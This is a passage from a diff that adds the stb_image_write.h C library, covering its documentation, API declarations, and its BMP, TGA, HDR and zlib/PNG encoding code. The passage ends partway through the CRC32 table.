+ also disable HDR writing, because it requires stdio for formatted output. + + Each function returns 0 on failure and non-0 on success. + + The functions create an image file defined by the parameters. The image + is a rectangle of pixels stored from left-to-right, top-to-bottom. + Each pixel contains 'comp' channels of data stored interleaved with 8-bits + per channel, in the following order: 1=Y, 2=YA, 3=RGB, 4=RGBA. (Y is + monochrome color.) The rectangle is 'w' pixels wide and 'h' pixels tall. + The *data pointer points to the first byte of the top-left-most pixel. + For PNG, "stride_in_bytes" is the distance in bytes from the first byte of + a row of pixels to the first byte of the next row of pixels. + + PNG creates output files with the same number of components as the input. + The BMP format expands Y to RGB in the file format and does not + output alpha. + + PNG supports writing rectangles of data even when the bytes storing rows of + data are not consecutive in memory (e.g. sub-rectangles of a larger image), + by supplying the stride between the beginning of adjacent rows. The other + formats do not. (Thus you cannot write a native-format BMP through the BMP + writer, both because it is in BGR order and because it may have padding + at the end of the line.) + + PNG allows you to set the deflate compression level by setting the global + variable 'stbi_write_png_compression_level' (it defaults to 8). + + HDR expects linear float data. Since the format is always 32-bit rgb(e) + data, alpha (if provided) is discarded, and for monochrome data it is + replicated across all three channels. + + TGA supports RLE or non-RLE compressed data. To use non-RLE-compressed + data, set the global variable 'stbi_write_tga_with_rle' to 0. + + JPEG does ignore alpha channels in input data; quality is between 1 and 100. + Higher quality looks better but results in a bigger image. + JPEG baseline (no JPEG progressive). + +CREDITS: + + + Sean Barrett - PNG/BMP/TGA + Baldur Karlsson - HDR + Jean-Sebastien Guay - TGA monochrome + Tim Kelsey - misc enhancements + Alan Hickman - TGA RLE + Emmanuel Julien - initial file IO callback implementation + Jon Olick - original jo_jpeg.cpp code + Daniel Gibson - integrate JPEG, allow external zlib + Aarni Koskela - allow choosing PNG filter + + bugfixes: + github:Chribba + Guillaume Chereau + github:jry2 + github:romigrou + Sergio Gonzalez + Jonas Karlsson + Filip Wasil + Thatcher Ulrich + github:poppolopoppo + Patrick Boettcher + github:xeekworx + Cap Petschulat + Simon Rodriguez + Ivan Tikhonov + github:ignotion + Adam Schackart + Andrew Kensler + +LICENSE + + See end of file for license information. + +*/ + +#ifndef INCLUDE_STB_IMAGE_WRITE_H +#define INCLUDE_STB_IMAGE_WRITE_H + +#include + +// if STB_IMAGE_WRITE_STATIC causes problems, try defining STBIWDEF to 'inline' or 'static inline' +#ifndef STBIWDEF +#ifdef STB_IMAGE_WRITE_STATIC +#define STBIWDEF static +#else +#ifdef __cplusplus +#define STBIWDEF extern "C" +#else +#define STBIWDEF extern +#endif +#endif +#endif + +#ifndef STB_IMAGE_WRITE_STATIC // C++ forbids static forward declarations +STBIWDEF int stbi_write_tga_with_rle; +STBIWDEF int stbi_write_png_compression_level; +STBIWDEF int stbi_write_force_png_filter; +#endif + +#ifndef STBI_WRITE_NO_STDIO +STBIWDEF int stbi_write_png(char const *filename, int w, int h, int comp, const void *data, int stride_in_bytes); +STBIWDEF int stbi_write_bmp(char const *filename, int w, int h, int comp, const void *data); +STBIWDEF int stbi_write_tga(char const *filename, int w, int h, int comp, const void *data); +STBIWDEF int stbi_write_hdr(char const *filename, int w, int h, int comp, const float *data); +STBIWDEF int stbi_write_jpg(char const *filename, int x, int y, int comp, const void *data, int quality); + +#ifdef STBIW_WINDOWS_UTF8 +STBIWDEF int stbiw_convert_wchar_to_utf8(char *buffer, size_t bufferlen, const wchar_t* input); +#endif +#endif + +typedef void stbi_write_func(void *context, void *data, int size); + +STBIWDEF int stbi_write_png_to_func(stbi_write_func *func, void *context, int w, int h, int comp, const void *data, int stride_in_bytes); +STBIWDEF int stbi_write_bmp_to_func(stbi_write_func *func, void *context, int w, int h, int comp, const void *data); +STBIWDEF int stbi_write_tga_to_func(stbi_write_func *func, void *context, int w, int h, int comp, const void *data); +STBIWDEF int stbi_write_hdr_to_func(stbi_write_func *func, void *context, int w, int h, int comp, const float *data); +STBIWDEF int stbi_write_jpg_to_func(stbi_write_func *func, void *context, int x, int y, int comp, const void *data, int quality); + +STBIWDEF void stbi_flip_vertically_on_write(int flip_boolean); + +#endif//INCLUDE_STB_IMAGE_WRITE_H + +#ifdef STB_IMAGE_WRITE_IMPLEMENTATION + +#ifdef _WIN32 + #ifndef _CRT_SECURE_NO_WARNINGS + #define _CRT_SECURE_NO_WARNINGS + #endif + #ifndef _CRT_NONSTDC_NO_DEPRECATE + #define _CRT_NONSTDC_NO_DEPRECATE + #endif +#endif + +#ifndef STBI_WRITE_NO_STDIO +#include +#endif // STBI_WRITE_NO_STDIO + +#include +#include +#include +#include + +#if defined(STBIW_MALLOC) && defined(STBIW_FREE) && (defined(STBIW_REALLOC) || defined(STBIW_REALLOC_SIZED)) +// ok +#elif !defined(STBIW_MALLOC) && !defined(STBIW_FREE) && !defined(STBIW_REALLOC) && !defined(STBIW_REALLOC_SIZED) +// ok +#else +#error "Must define all or none of STBIW_MALLOC, STBIW_FREE, and STBIW_REALLOC (or STBIW_REALLOC_SIZED)." +#endif + +#ifndef STBIW_MALLOC +#define STBIW_MALLOC(sz) malloc(sz) +#define STBIW_REALLOC(p,newsz) realloc(p,newsz) +#define STBIW_FREE(p) free(p) +#endif + +#ifndef STBIW_REALLOC_SIZED +#define STBIW_REALLOC_SIZED(p,oldsz,newsz) STBIW_REALLOC(p,newsz) +#endif + + +#ifndef STBIW_MEMMOVE +#define STBIW_MEMMOVE(a,b,sz) memmove(a,b,sz) +#endif + + +#ifndef STBIW_ASSERT +#include +#define STBIW_ASSERT(x) assert(x) +#endif + +#define STBIW_UCHAR(x) (unsigned char) ((x) & 0xff) + +#ifdef STB_IMAGE_WRITE_STATIC +static int stbi_write_png_compression_level = 8; +static int stbi_write_tga_with_rle = 1; +static int stbi_write_force_png_filter = -1; +#else +int stbi_write_png_compression_level = 8; +int stbi_write_tga_with_rle = 1; +int stbi_write_force_png_filter = -1; +#endif + +static int stbi__flip_vertically_on_write = 0; + +STBIWDEF void stbi_flip_vertically_on_write(int flag) +{ + stbi__flip_vertically_on_write = flag; +} + +typedef struct +{ + stbi_write_func *func; + void *context; + unsigned char buffer[64]; + int buf_used; +} stbi__write_context; + +// initialize a callback-based context +static void stbi__start_write_callbacks(stbi__write_context *s, stbi_write_func *c, void *context) +{ + s->func = c; + s->context = context; +} + +#ifndef STBI_WRITE_NO_STDIO + +static void stbi__stdio_write(void *context, void *data, int size) +{ + fwrite(data,1,size,(FILE*) context); +} + +#if defined(_WIN32) && defined(STBIW_WINDOWS_UTF8) +#ifdef __cplusplus +#define STBIW_EXTERN extern "C" +#else +#define STBIW_EXTERN extern +#endif +STBIW_EXTERN __declspec(dllimport) int __stdcall MultiByteToWideChar(unsigned int cp, unsigned long flags, const char *str, int cbmb, wchar_t *widestr, int cchwide); +STBIW_EXTERN __declspec(dllimport) int __stdcall WideCharToMultiByte(unsigned int cp, unsigned long flags, const wchar_t *widestr, int cchwide, char *str, int cbmb, const char *defchar, int *used_default); + +STBIWDEF int stbiw_convert_wchar_to_utf8(char *buffer, size_t bufferlen, const wchar_t* input) +{ + return WideCharToMultiByte(65001 /* UTF8 */, 0, input, -1, buffer, (int) bufferlen, NULL, NULL); +} +#endif + +static FILE *stbiw__fopen(char const *filename, char const *mode) +{ + FILE *f; +#if defined(_WIN32) && defined(STBIW_WINDOWS_UTF8) + wchar_t wMode[64]; + wchar_t wFilename[1024]; + if (0 == MultiByteToWideChar(65001 /* UTF8 */, 0, filename, -1, wFilename, sizeof(wFilename)/sizeof(*wFilename))) + return 0; + + if (0 == MultiByteToWideChar(65001 /* UTF8 */, 0, mode, -1, wMode, sizeof(wMode)/sizeof(*wMode))) + return 0; + +#if defined(_MSC_VER) && _MSC_VER >= 1400 + if (0 != _wfopen_s(&f, wFilename, wMode)) + f = 0; +#else + f = _wfopen(wFilename, wMode); +#endif + +#elif defined(_MSC_VER) && _MSC_VER >= 1400 + if (0 != fopen_s(&f, filename, mode)) + f=0; +#else + f = fopen(filename, mode); +#endif + return f; +} + +static int stbi__start_write_file(stbi__write_context *s, const char *filename) +{ + FILE *f = stbiw__fopen(filename, "wb"); + stbi__start_write_callbacks(s, stbi__stdio_write, (void *) f); + return f != NULL; +} + +static void stbi__end_write_file(stbi__write_context *s) +{ + fclose((FILE *)s->context); +} + +#endif // !STBI_WRITE_NO_STDIO + +typedef unsigned int stbiw_uint32; +typedef int stb_image_write_test[sizeof(stbiw_uint32)==4 ? 1 : -1]; + +static void stbiw__writefv(stbi__write_context *s, const char *fmt, va_list v) +{ + while (*fmt) { + switch (*fmt++) { + case ' ': break; + case '1': { unsigned char x = STBIW_UCHAR(va_arg(v, int)); + s->func(s->context,&x,1); + break; } + case '2': { int x = va_arg(v,int); + unsigned char b[2]; + b[0] = STBIW_UCHAR(x); + b[1] = STBIW_UCHAR(x>>8); + s->func(s->context,b,2); + break; } + case '4': { stbiw_uint32 x = va_arg(v,int); + unsigned char b[4]; + b[0]=STBIW_UCHAR(x); + b[1]=STBIW_UCHAR(x>>8); + b[2]=STBIW_UCHAR(x>>16); + b[3]=STBIW_UCHAR(x>>24); + s->func(s->context,b,4); + break; } + default: + STBIW_ASSERT(0); + return; + } + } +} + +static void stbiw__writef(stbi__write_context *s, const char *fmt, ...) +{ + va_list v; + va_start(v, fmt); + stbiw__writefv(s, fmt, v); + va_end(v); +} + +static void stbiw__write_flush(stbi__write_context *s) +{ + if (s->buf_used) { + s->func(s->context, &s->buffer, s->buf_used); + s->buf_used = 0; + } +} + +static void stbiw__putc(stbi__write_context *s, unsigned char c) +{ + s->func(s->context, &c, 1); +} + +static void stbiw__write1(stbi__write_context *s, unsigned char a) +{ + if ((size_t)s->buf_used + 1 > sizeof(s->buffer)) + stbiw__write_flush(s); + s->buffer[s->buf_used++] = a; +} + +static void stbiw__write3(stbi__write_context *s, unsigned char a, unsigned char b, unsigned char c) +{ + int n; + if ((size_t)s->buf_used + 3 > sizeof(s->buffer)) + stbiw__write_flush(s); + n = s->buf_used; + s->buf_used = n+3; + s->buffer[n+0] = a; + s->buffer[n+1] = b; + s->buffer[n+2] = c; +} + +static void stbiw__write_pixel(stbi__write_context *s, int rgb_dir, int comp, int write_alpha, int expand_mono, unsigned char *d) +{ + unsigned char bg[3] = { 255, 0, 255}, px[3]; + int k; + + if (write_alpha < 0) + stbiw__write1(s, d[comp - 1]); + + switch (comp) { + case 2: // 2 pixels = mono + alpha, alpha is written separately, so same as 1-channel case + case 1: + if (expand_mono) + stbiw__write3(s, d[0], d[0], d[0]); // monochrome bmp + else + stbiw__write1(s, d[0]); // monochrome TGA + break; + case 4: + if (!write_alpha) { + // composite against pink background + for (k = 0; k < 3; ++k) + px[k] = bg[k] + ((d[k] - bg[k]) * d[3]) / 255; + stbiw__write3(s, px[1 - rgb_dir], px[1], px[1 + rgb_dir]); + break; + } + /* FALLTHROUGH */ + case 3: + stbiw__write3(s, d[1 - rgb_dir], d[1], d[1 + rgb_dir]); + break; + } + if (write_alpha > 0) + stbiw__write1(s, d[comp - 1]); +} + +static void stbiw__write_pixels(stbi__write_context *s, int rgb_dir, int vdir, int x, int y, int comp, void *data, int write_alpha, int scanline_pad, int expand_mono) +{ + stbiw_uint32 zero = 0; + int i,j, j_end; + + if (y <= 0) + return; + + if (stbi__flip_vertically_on_write) + vdir *= -1; + + if (vdir < 0) { + j_end = -1; j = y-1; + } else { + j_end = y; j = 0; + } + + for (; j != j_end; j += vdir) { + for (i=0; i < x; ++i) { + unsigned char *d = (unsigned char *) data + (j*x+i)*comp; + stbiw__write_pixel(s, rgb_dir, comp, write_alpha, expand_mono, d); + } + stbiw__write_flush(s); + s->func(s->context, &zero, scanline_pad); + } +} + +static int stbiw__outfile(stbi__write_context *s, int rgb_dir, int vdir, int x, int y, int comp, int expand_mono, void *data, int alpha, int pad, const char *fmt, ...) +{ + if (y < 0 || x < 0) { + return 0; + } else { + va_list v; + va_start(v, fmt); + stbiw__writefv(s, fmt, v); + va_end(v); + stbiw__write_pixels(s,rgb_dir,vdir,x,y,comp,data,alpha,pad, expand_mono); + return 1; + } +} + +static int stbi_write_bmp_core(stbi__write_context *s, int x, int y, int comp, const void *data) +{ + if (comp != 4) { + // write RGB bitmap + int pad = (-x*3) & 3; + return stbiw__outfile(s,-1,-1,x,y,comp,1,(void *) data,0,pad, + "11 4 22 4" "4 44 22 444444", + 'B', 'M', 14+40+(x*3+pad)*y, 0,0, 14+40, // file header + 40, x,y, 1,24, 0,0,0,0,0,0); // bitmap header + } else { + // RGBA bitmaps need a v4 header + // use BI_BITFIELDS mode with 32bpp and alpha mask + // (straight BI_RGB with alpha mask doesn't work in most readers) + return stbiw__outfile(s,-1,-1,x,y,comp,1,(void *)data,1,0, + "11 4 22 4" "4 44 22 444444 4444 4 444 444 444 444", + 'B', 'M', 14+108+x*y*4, 0, 0, 14+108, // file header + 108, x,y, 1,32, 3,0,0,0,0,0, 0xff0000,0xff00,0xff,0xff000000u, 0, 0,0,0, 0,0,0, 0,0,0, 0,0,0); // bitmap V4 header + } +} + +STBIWDEF int stbi_write_bmp_to_func(stbi_write_func *func, void *context, int x, int y, int comp, const void *data) +{ + stbi__write_context s = { 0 }; + stbi__start_write_callbacks(&s, func, context); + return stbi_write_bmp_core(&s, x, y, comp, data); +} + +#ifndef STBI_WRITE_NO_STDIO +STBIWDEF int stbi_write_bmp(char const *filename, int x, int y, int comp, const void *data) +{ + stbi__write_context s = { 0 }; + if (stbi__start_write_file(&s,filename)) { + int r = stbi_write_bmp_core(&s, x, y, comp, data); + stbi__end_write_file(&s); + return r; + } else + return 0; +} +#endif //!STBI_WRITE_NO_STDIO + +static int stbi_write_tga_core(stbi__write_context *s, int x, int y, int comp, void *data) +{ + int has_alpha = (comp == 2 || comp == 4); + int colorbytes = has_alpha ? comp-1 : comp; + int format = colorbytes < 2 ? 3 : 2; // 3 color channels (RGB/RGBA) = 2, 1 color channel (Y/YA) = 3 + + if (y < 0 || x < 0) + return 0; + + if (!stbi_write_tga_with_rle) { + return stbiw__outfile(s, -1, -1, x, y, comp, 0, (void *) data, has_alpha, 0, + "111 221 2222 11", 0, 0, format, 0, 0, 0, 0, 0, x, y, (colorbytes + has_alpha) * 8, has_alpha * 8); + } else { + int i,j,k; + int jend, jdir; + + stbiw__writef(s, "111 221 2222 11", 0,0,format+8, 0,0,0, 0,0,x,y, (colorbytes + has_alpha) * 8, has_alpha * 8); + + if (stbi__flip_vertically_on_write) { + j = 0; + jend = y; + jdir = 1; + } else { + j = y-1; + jend = -1; + jdir = -1; + } + for (; j != jend; j += jdir) { + unsigned char *row = (unsigned char *) data + j * x * comp; + int len; + + for (i = 0; i < x; i += len) { + unsigned char *begin = row + i * comp; + int diff = 1; + len = 1; + + if (i < x - 1) { + ++len; + diff = memcmp(begin, row + (i + 1) * comp, comp); + if (diff) { + const unsigned char *prev = begin; + for (k = i + 2; k < x && len < 128; ++k) { + if (memcmp(prev, row + k * comp, comp)) { + prev += comp; + ++len; + } else { + --len; + break; + } + } + } else { + for (k = i + 2; k < x && len < 128; ++k) { + if (!memcmp(begin, row + k * comp, comp)) { + ++len; + } else { + break; + } + } + } + } + + if (diff) { + unsigned char header = STBIW_UCHAR(len - 1); + stbiw__write1(s, header); + for (k = 0; k < len; ++k) { + stbiw__write_pixel(s, -1, comp, has_alpha, 0, begin + k * comp); + } + } else { + unsigned char header = STBIW_UCHAR(len - 129); + stbiw__write1(s, header); + stbiw__write_pixel(s, -1, comp, has_alpha, 0, begin); + } + } + } + stbiw__write_flush(s); + } + return 1; +} + +STBIWDEF int stbi_write_tga_to_func(stbi_write_func *func, void *context, int x, int y, int comp, const void *data) +{ + stbi__write_context s = { 0 }; + stbi__start_write_callbacks(&s, func, context); + return stbi_write_tga_core(&s, x, y, comp, (void *) data); +} + +#ifndef STBI_WRITE_NO_STDIO +STBIWDEF int stbi_write_tga(char const *filename, int x, int y, int comp, const void *data) +{ + stbi__write_context s = { 0 }; + if (stbi__start_write_file(&s,filename)) { + int r = stbi_write_tga_core(&s, x, y, comp, (void *) data); + stbi__end_write_file(&s); + return r; + } else + return 0; +} +#endif + +// ************************************************************************************************* +// Radiance RGBE HDR writer +// by Baldur Karlsson + +#define stbiw__max(a, b) ((a) > (b) ? (a) : (b)) + +#ifndef STBI_WRITE_NO_STDIO + +static void stbiw__linear_to_rgbe(unsigned char *rgbe, float *linear) +{ + int exponent; + float maxcomp = stbiw__max(linear[0], stbiw__max(linear[1], linear[2])); + + if (maxcomp < 1e-32f) { + rgbe[0] = rgbe[1] = rgbe[2] = rgbe[3] = 0; + } else { + float normalize = (float) frexp(maxcomp, &exponent) * 256.0f/maxcomp; + + rgbe[0] = (unsigned char)(linear[0] * normalize); + rgbe[1] = (unsigned char)(linear[1] * normalize); + rgbe[2] = (unsigned char)(linear[2] * normalize); + rgbe[3] = (unsigned char)(exponent + 128); + } +} + +static void stbiw__write_run_data(stbi__write_context *s, int length, unsigned char databyte) +{ + unsigned char lengthbyte = STBIW_UCHAR(length+128); + STBIW_ASSERT(length+128 <= 255); + s->func(s->context, &lengthbyte, 1); + s->func(s->context, &databyte, 1); +} + +static void stbiw__write_dump_data(stbi__write_context *s, int length, unsigned char *data) +{ + unsigned char lengthbyte = STBIW_UCHAR(length); + STBIW_ASSERT(length <= 128); // inconsistent with spec but consistent with official code + s->func(s->context, &lengthbyte, 1); + s->func(s->context, data, length); +} + +static void stbiw__write_hdr_scanline(stbi__write_context *s, int width, int ncomp, unsigned char *scratch, float *scanline) +{ + unsigned char scanlineheader[4] = { 2, 2, 0, 0 }; + unsigned char rgbe[4]; + float linear[3]; + int x; + + scanlineheader[2] = (width&0xff00)>>8; + scanlineheader[3] = (width&0x00ff); + + /* skip RLE for images too small or large */ + if (width < 8 || width >= 32768) { + for (x=0; x < width; x++) { + switch (ncomp) { + case 4: /* fallthrough */ + case 3: linear[2] = scanline[x*ncomp + 2]; + linear[1] = scanline[x*ncomp + 1]; + linear[0] = scanline[x*ncomp + 0]; + break; + default: + linear[0] = linear[1] = linear[2] = scanline[x*ncomp + 0]; + break; + } + stbiw__linear_to_rgbe(rgbe, linear); + s->func(s->context, rgbe, 4); + } + } else { + int c,r; + /* encode into scratch buffer */ + for (x=0; x < width; x++) { + switch(ncomp) { + case 4: /* fallthrough */ + case 3: linear[2] = scanline[x*ncomp + 2]; + linear[1] = scanline[x*ncomp + 1]; + linear[0] = scanline[x*ncomp + 0]; + break; + default: + linear[0] = linear[1] = linear[2] = scanline[x*ncomp + 0]; + break; + } + stbiw__linear_to_rgbe(rgbe, linear); + scratch[x + width*0] = rgbe[0]; + scratch[x + width*1] = rgbe[1]; + scratch[x + width*2] = rgbe[2]; + scratch[x + width*3] = rgbe[3]; + } + + s->func(s->context, scanlineheader, 4); + + /* RLE each component separately */ + for (c=0; c < 4; c++) { + unsigned char *comp = &scratch[width*c]; + + x = 0; + while (x < width) { + // find first run + r = x; + while (r+2 < width) { + if (comp[r] == comp[r+1] && comp[r] == comp[r+2]) + break; + ++r; + } + if (r+2 >= width) + r = width; + // dump up to first run + while (x < r) { + int len = r-x; + if (len > 128) len = 128; + stbiw__write_dump_data(s, len, &comp[x]); + x += len; + } + // if there's a run, output it + if (r+2 < width) { // same test as what we break out of in search loop, so only true if we break'd + // find next byte after run + while (r < width && comp[r] == comp[x]) + ++r; + // output run up to r + while (x < r) { + int len = r-x; + if (len > 127) len = 127; + stbiw__write_run_data(s, len, comp[x]); + x += len; + } + } + } + } + } +} + +static int stbi_write_hdr_core(stbi__write_context *s, int x, int y, int comp, float *data) +{ + if (y <= 0 || x <= 0 || data == NULL) + return 0; + else { + // Each component is stored separately. Allocate scratch space for full output scanline. + unsigned char *scratch = (unsigned char *) STBIW_MALLOC(x*4); + int i, len; + char buffer[128]; + char header[] = "#?RADIANCE\n# Written by stb_image_write.h\nFORMAT=32-bit_rle_rgbe\n"; + s->func(s->context, header, sizeof(header)-1); + +#ifdef __STDC_LIB_EXT1__ + len = sprintf_s(buffer, sizeof(buffer), "EXPOSURE= 1.0000000000000\n\n-Y %d +X %d\n", y, x); +#else + len = sprintf(buffer, "EXPOSURE= 1.0000000000000\n\n-Y %d +X %d\n", y, x); +#endif + s->func(s->context, buffer, len); + + for(i=0; i < y; i++) + stbiw__write_hdr_scanline(s, x, comp, scratch, data + comp*x*(stbi__flip_vertically_on_write ? y-1-i : i)); + STBIW_FREE(scratch); + return 1; + } +} + +STBIWDEF int stbi_write_hdr_to_func(stbi_write_func *func, void *context, int x, int y, int comp, const float *data) +{ + stbi__write_context s = { 0 }; + stbi__start_write_callbacks(&s, func, context); + return stbi_write_hdr_core(&s, x, y, comp, (float *) data); +} + +STBIWDEF int stbi_write_hdr(char const *filename, int x, int y, int comp, const float *data) +{ + stbi__write_context s = { 0 }; + if (stbi__start_write_file(&s,filename)) { + int r = stbi_write_hdr_core(&s, x, y, comp, (float *) data); + stbi__end_write_file(&s); + return r; + } else + return 0; +} +#endif // STBI_WRITE_NO_STDIO + + +////////////////////////////////////////////////////////////////////////////// +// +// PNG writer +// + +#ifndef STBIW_ZLIB_COMPRESS +// stretchy buffer; stbiw__sbpush() == vector<>::push_back() -- stbiw__sbcount() == vector<>::size() +#define stbiw__sbraw(a) ((int *) (void *) (a) - 2) +#define stbiw__sbm(a) stbiw__sbraw(a)[0] +#define stbiw__sbn(a) stbiw__sbraw(a)[1] + +#define stbiw__sbneedgrow(a,n) ((a)==0 || stbiw__sbn(a)+n >= stbiw__sbm(a)) +#define stbiw__sbmaybegrow(a,n) (stbiw__sbneedgrow(a,(n)) ? stbiw__sbgrow(a,n) : 0) +#define stbiw__sbgrow(a,n) stbiw__sbgrowf((void **) &(a), (n), sizeof(*(a))) + +#define stbiw__sbpush(a, v) (stbiw__sbmaybegrow(a,1), (a)[stbiw__sbn(a)++] = (v)) +#define stbiw__sbcount(a) ((a) ? stbiw__sbn(a) : 0) +#define stbiw__sbfree(a) ((a) ? STBIW_FREE(stbiw__sbraw(a)),0 : 0) + +static void *stbiw__sbgrowf(void **arr, int increment, int itemsize) +{ + int m = *arr ? 2*stbiw__sbm(*arr)+increment : increment+1; + void *p = STBIW_REALLOC_SIZED(*arr ? stbiw__sbraw(*arr) : 0, *arr ? (stbiw__sbm(*arr)*itemsize + sizeof(int)*2) : 0, itemsize * m + sizeof(int)*2); + STBIW_ASSERT(p); + if (p) { + if (!*arr) ((int *) p)[1] = 0; + *arr = (void *) ((int *) p + 2); + stbiw__sbm(*arr) = m; + } + return *arr; +} + +static unsigned char *stbiw__zlib_flushf(unsigned char *data, unsigned int *bitbuffer, int *bitcount) +{ + while (*bitcount >= 8) { + stbiw__sbpush(data, STBIW_UCHAR(*bitbuffer)); + *bitbuffer >>= 8; + *bitcount -= 8; + } + return data; +} + +static int stbiw__zlib_bitrev(int code, int codebits) +{ + int res=0; + while (codebits--) { + res = (res << 1) | (code & 1); + code >>= 1; + } + return res; +} + +static unsigned int stbiw__zlib_countm(unsigned char *a, unsigned char *b, int limit) +{ + int i; + for (i=0; i < limit && i < 258; ++i) + if (a[i] != b[i]) break; + return i; +} + +static unsigned int stbiw__zhash(unsigned char *data) +{ + stbiw_uint32 hash = data[0] + (data[1] << 8) + (data[2] << 16); + hash ^= hash << 3; + hash += hash >> 5; + hash ^= hash << 4; + hash += hash >> 17; + hash ^= hash << 25; + hash += hash >> 6; + return hash; +} + +#define stbiw__zlib_flush() (out = stbiw__zlib_flushf(out, &bitbuf, &bitcount)) +#define stbiw__zlib_add(code,codebits) \ + (bitbuf |= (code) << bitcount, bitcount += (codebits), stbiw__zlib_flush()) +#define stbiw__zlib_huffa(b,c) stbiw__zlib_add(stbiw__zlib_bitrev(b,c),c) +// default huffman tables +#define stbiw__zlib_huff1(n) stbiw__zlib_huffa(0x30 + (n), 8) +#define stbiw__zlib_huff2(n) stbiw__zlib_huffa(0x190 + (n)-144, 9) +#define stbiw__zlib_huff3(n) stbiw__zlib_huffa(0 + (n)-256,7) +#define stbiw__zlib_huff4(n) stbiw__zlib_huffa(0xc0 + (n)-280,8) +#define stbiw__zlib_huff(n) ((n) <= 143 ? stbiw__zlib_huff1(n) : (n) <= 255 ? stbiw__zlib_huff2(n) : (n) <= 279 ? stbiw__zlib_huff3(n) : stbiw__zlib_huff4(n)) +#define stbiw__zlib_huffb(n) ((n) <= 143 ? stbiw__zlib_huff1(n) : stbiw__zlib_huff2(n)) + +#define stbiw__ZHASH 16384 + +#endif // STBIW_ZLIB_COMPRESS + +STBIWDEF unsigned char * stbi_zlib_compress(unsigned char *data, int data_len, int *out_len, int quality) +{ +#ifdef STBIW_ZLIB_COMPRESS + // user provided a zlib compress implementation, use that + return STBIW_ZLIB_COMPRESS(data, data_len, out_len, quality); +#else // use builtin + static unsigned short lengthc[] = { 3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258, 259 }; + static unsigned char lengtheb[]= { 0,0,0,0,0,0,0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0 }; + static unsigned short distc[] = { 1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577, 32768 }; + static unsigned char disteb[] = { 0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13 }; + unsigned int bitbuf=0; + int i,j, bitcount=0; + unsigned char *out = NULL; + unsigned char ***hash_table = (unsigned char***) STBIW_MALLOC(stbiw__ZHASH * sizeof(unsigned char**)); + if (hash_table == NULL) + return NULL; + if (quality < 5) quality = 5; + + stbiw__sbpush(out, 0x78); // DEFLATE 32K window + stbiw__sbpush(out, 0x5e); // FLEVEL = 1 + stbiw__zlib_add(1,1); // BFINAL = 1 + stbiw__zlib_add(1,2); // BTYPE = 1 -- fixed huffman + + for (i=0; i < stbiw__ZHASH; ++i) + hash_table[i] = NULL; + + i=0; + while (i < data_len-3) { + // hash next 3 bytes of data to be compressed + int h = stbiw__zhash(data+i)&(stbiw__ZHASH-1), best=3; + unsigned char *bestloc = 0; + unsigned char **hlist = hash_table[h]; + int n = stbiw__sbcount(hlist); + for (j=0; j < n; ++j) { + if (hlist[j]-data > i-32768) { // if entry lies within window + int d = stbiw__zlib_countm(hlist[j], data+i, data_len-i); + if (d >= best) { best=d; bestloc=hlist[j]; } + } + } + // when hash table entry is too long, delete half the entries + if (hash_table[h] && stbiw__sbn(hash_table[h]) == 2*quality) { + STBIW_MEMMOVE(hash_table[h], hash_table[h]+quality, sizeof(hash_table[h][0])*quality); + stbiw__sbn(hash_table[h]) = quality; + } + stbiw__sbpush(hash_table[h],data+i); + + if (bestloc) { + // "lazy matching" - check match at *next* byte, and if it's better, do cur byte as literal + h = stbiw__zhash(data+i+1)&(stbiw__ZHASH-1); + hlist = hash_table[h]; + n = stbiw__sbcount(hlist); + for (j=0; j < n; ++j) { + if (hlist[j]-data > i-32767) { + int e = stbiw__zlib_countm(hlist[j], data+i+1, data_len-i-1); + if (e > best) { // if next match is better, bail on current match + bestloc = NULL; + break; + } + } + } + } + + if (bestloc) { + int d = (int) (data+i - bestloc); // distance back + STBIW_ASSERT(d <= 32767 && best <= 258); + for (j=0; best > lengthc[j+1]-1; ++j); + stbiw__zlib_huff(j+257); + if (lengtheb[j]) stbiw__zlib_add(best - lengthc[j], lengtheb[j]); + for (j=0; d > distc[j+1]-1; ++j); + stbiw__zlib_add(stbiw__zlib_bitrev(j,5),5); + if (disteb[j]) stbiw__zlib_add(d - distc[j], disteb[j]); + i += best; + } else { + stbiw__zlib_huffb(data[i]); + ++i; + } + } + // write out final bytes + for (;i < data_len; ++i) + stbiw__zlib_huffb(data[i]); + stbiw__zlib_huff(256); // end of block + // pad with 0 bits to byte boundary + while (bitcount) + stbiw__zlib_add(0,1); + + for (i=0; i < stbiw__ZHASH; ++i) + (void) stbiw__sbfree(hash_table[i]); + STBIW_FREE(hash_table); + + // store uncompressed instead if compression was worse + if (stbiw__sbn(out) > data_len + 2 + ((data_len+32766)/32767)*5) { + stbiw__sbn(out) = 2; // truncate to DEFLATE 32K window and FLEVEL = 1 + for (j = 0; j < data_len;) { + int blocklen = data_len - j; + if (blocklen > 32767) blocklen = 32767; + stbiw__sbpush(out, data_len - j == blocklen); // BFINAL = ?, BTYPE = 0 -- no compression + stbiw__sbpush(out, STBIW_UCHAR(blocklen)); // LEN + stbiw__sbpush(out, STBIW_UCHAR(blocklen >> 8)); + stbiw__sbpush(out, STBIW_UCHAR(~blocklen)); // NLEN + stbiw__sbpush(out, STBIW_UCHAR(~blocklen >> 8)); + memcpy(out+stbiw__sbn(out), data+j, blocklen); + stbiw__sbn(out) += blocklen; + j += blocklen; + } + } + + { + // compute adler32 on input + unsigned int s1=1, s2=0; + int blocklen = (int) (data_len % 5552); + j=0; + while (j < data_len) { + for (i=0; i < blocklen; ++i) { s1 += data[j+i]; s2 += s1; } + s1 %= 65521; s2 %= 65521; + j += blocklen; + blocklen = 5552; + } + stbiw__sbpush(out, STBIW_UCHAR(s2 >> 8)); + stbiw__sbpush(out, STBIW_UCHAR(s2)); + stbiw__sbpush(out, STBIW_UCHAR(s1 >> 8)); + stbiw__sbpush(out, STBIW_UCHAR(s1)); + } + *out_len = stbiw__sbn(out); + // make returned pointer freeable + STBIW_MEMMOVE(stbiw__sbraw(out), out, *out_len); + return (unsigned char *) stbiw__sbraw(out); +#endif // STBIW_ZLIB_COMPRESS +} + +static unsigned int stbiw__crc32(unsigned char *buffer, int len) +{ +#ifdef STBIW_CRC32 + return STBIW_CRC32(buffer, len); +#else + static unsigned int crc_table[256] = + { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 